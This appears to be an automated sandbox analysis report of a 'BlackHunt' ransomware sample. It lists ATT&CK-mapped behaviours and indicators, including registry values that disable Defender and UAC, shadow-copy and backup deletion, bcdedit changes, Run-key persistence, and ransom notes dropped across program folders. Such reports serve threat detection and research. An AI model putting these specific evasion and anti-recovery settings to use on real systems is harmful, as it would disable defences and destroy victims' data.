4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92

Data Destruction

T1485

pid	Process
5824	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5796	bcdedit.exe
5856	bcdedit.exe

Renames multiple (744) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5964	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\W:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\P:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\S:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\V:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\Y:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\A:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\H:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\J:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\N:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\Q:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\E:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\I:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\K:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Z:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\X:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\R:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\T:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\G:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\M:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\O:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\L:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened (read-only)	\??\B:	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre-1.8\lib\psfontj2d.properties	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Review_RHP.aapp	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11wrapper.md	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\currency.data	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xalan.md	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\codec\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\vlc.mo	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\lua\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\README.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\cldrdata.jar	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightRegular.ttf	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.xml	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\lua\modules\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\bcel.md	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\Java\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xerces.md	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\browse_window.html	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\mesa3d.md	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ta\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.hta	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\#BlackHunt_ReadMe.txt	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkNoDrop32x32.gif	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_Private.key	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fontconfig.properties.src	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\index.html	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
6124	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5816	vssadmin.exe
5808	vssadmin.exe
5916	vssadmin.exe
5888	vssadmin.exe
5832	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
Token: SeRestorePrivilege	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
Token: SeBackupPrivilege	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
Token: SeTakeOwnershipPrivilege	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
Token: SeAuditPrivilege	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
Token: SeSecurityPrivilege	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
Token: SeIncBasePriorityPrivilege	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
Token: SeBackupPrivilege	4292	vssvc.exe
Token: SeRestorePrivilege	4292	vssvc.exe
Token: SeAuditPrivilege	4292	vssvc.exe
Token: SeBackupPrivilege	5480	wbengine.exe
Token: SeRestorePrivilege	5480	wbengine.exe
Token: SeSecurityPrivilege	5480	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3912 wrote to memory of 4148	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	89
PID 3912 wrote to memory of 4148	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	89
PID 3912 wrote to memory of 1128	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	91
PID 3912 wrote to memory of 1128	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	91
PID 3912 wrote to memory of 4060	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	93
PID 3912 wrote to memory of 4060	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	93
PID 3912 wrote to memory of 1888	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	94
PID 3912 wrote to memory of 1888	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	94
PID 3912 wrote to memory of 4012	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	97
PID 3912 wrote to memory of 4012	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	97
PID 3912 wrote to memory of 3196	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	99
PID 3912 wrote to memory of 3196	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	99
PID 3912 wrote to memory of 4292	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	101
PID 3912 wrote to memory of 4292	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	101
PID 3912 wrote to memory of 4068	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	102
PID 3912 wrote to memory of 4068	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	102
PID 3912 wrote to memory of 4904	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	106
PID 3912 wrote to memory of 4904	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	106
PID 3912 wrote to memory of 1072	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	108
PID 3912 wrote to memory of 1072	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	108
PID 3912 wrote to memory of 3048	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	110
PID 3912 wrote to memory of 3048	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	110
PID 3912 wrote to memory of 4880	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	115
PID 3912 wrote to memory of 4880	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	115
PID 1128 wrote to memory of 4768	1128	cmd.exe	107
PID 1128 wrote to memory of 4768	1128	cmd.exe	107
PID 3912 wrote to memory of 3896	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	113
PID 3912 wrote to memory of 3896	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	113
PID 4148 wrote to memory of 2716	4148	cmd.exe	112
PID 4148 wrote to memory of 2716	4148	cmd.exe	112
PID 3912 wrote to memory of 3940	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	116
PID 3912 wrote to memory of 3940	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	116
PID 3912 wrote to memory of 3068	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	118
PID 3912 wrote to memory of 3068	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	118
PID 3912 wrote to memory of 4384	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	123
PID 3912 wrote to memory of 4384	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	123
PID 3912 wrote to memory of 736	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	120
PID 3912 wrote to memory of 736	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	120
PID 3912 wrote to memory of 3296	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	121
PID 3912 wrote to memory of 3296	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	121
PID 3912 wrote to memory of 4088	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	131
PID 3912 wrote to memory of 4088	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	131
PID 3912 wrote to memory of 4544	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	125
PID 3912 wrote to memory of 4544	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	125
PID 3912 wrote to memory of 3652	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	129
PID 3912 wrote to memory of 3652	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	129
PID 3912 wrote to memory of 1764	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	128
PID 3912 wrote to memory of 1764	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	128
PID 3912 wrote to memory of 852	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	138
PID 3912 wrote to memory of 852	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	138
PID 3912 wrote to memory of 4024	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	137
PID 3912 wrote to memory of 4024	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	137
PID 4060 wrote to memory of 1916	4060	cmd.exe	134
PID 4060 wrote to memory of 1916	4060	cmd.exe	134
PID 3912 wrote to memory of 3152	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	140
PID 3912 wrote to memory of 3152	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	140
PID 1888 wrote to memory of 4164	1888	cmd.exe	143
PID 1888 wrote to memory of 4164	1888	cmd.exe	143
PID 3912 wrote to memory of 3608	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	141
PID 3912 wrote to memory of 3608	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	141
PID 3912 wrote to memory of 1348	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	145
PID 3912 wrote to memory of 1348	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	145
PID 3912 wrote to memory of 4272	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	146
PID 3912 wrote to memory of 4272	3912	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe	146

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4bd7c4822861c67f7cd68142296ca79a9719605c95302c26034ad8b7ac27ad92.exe
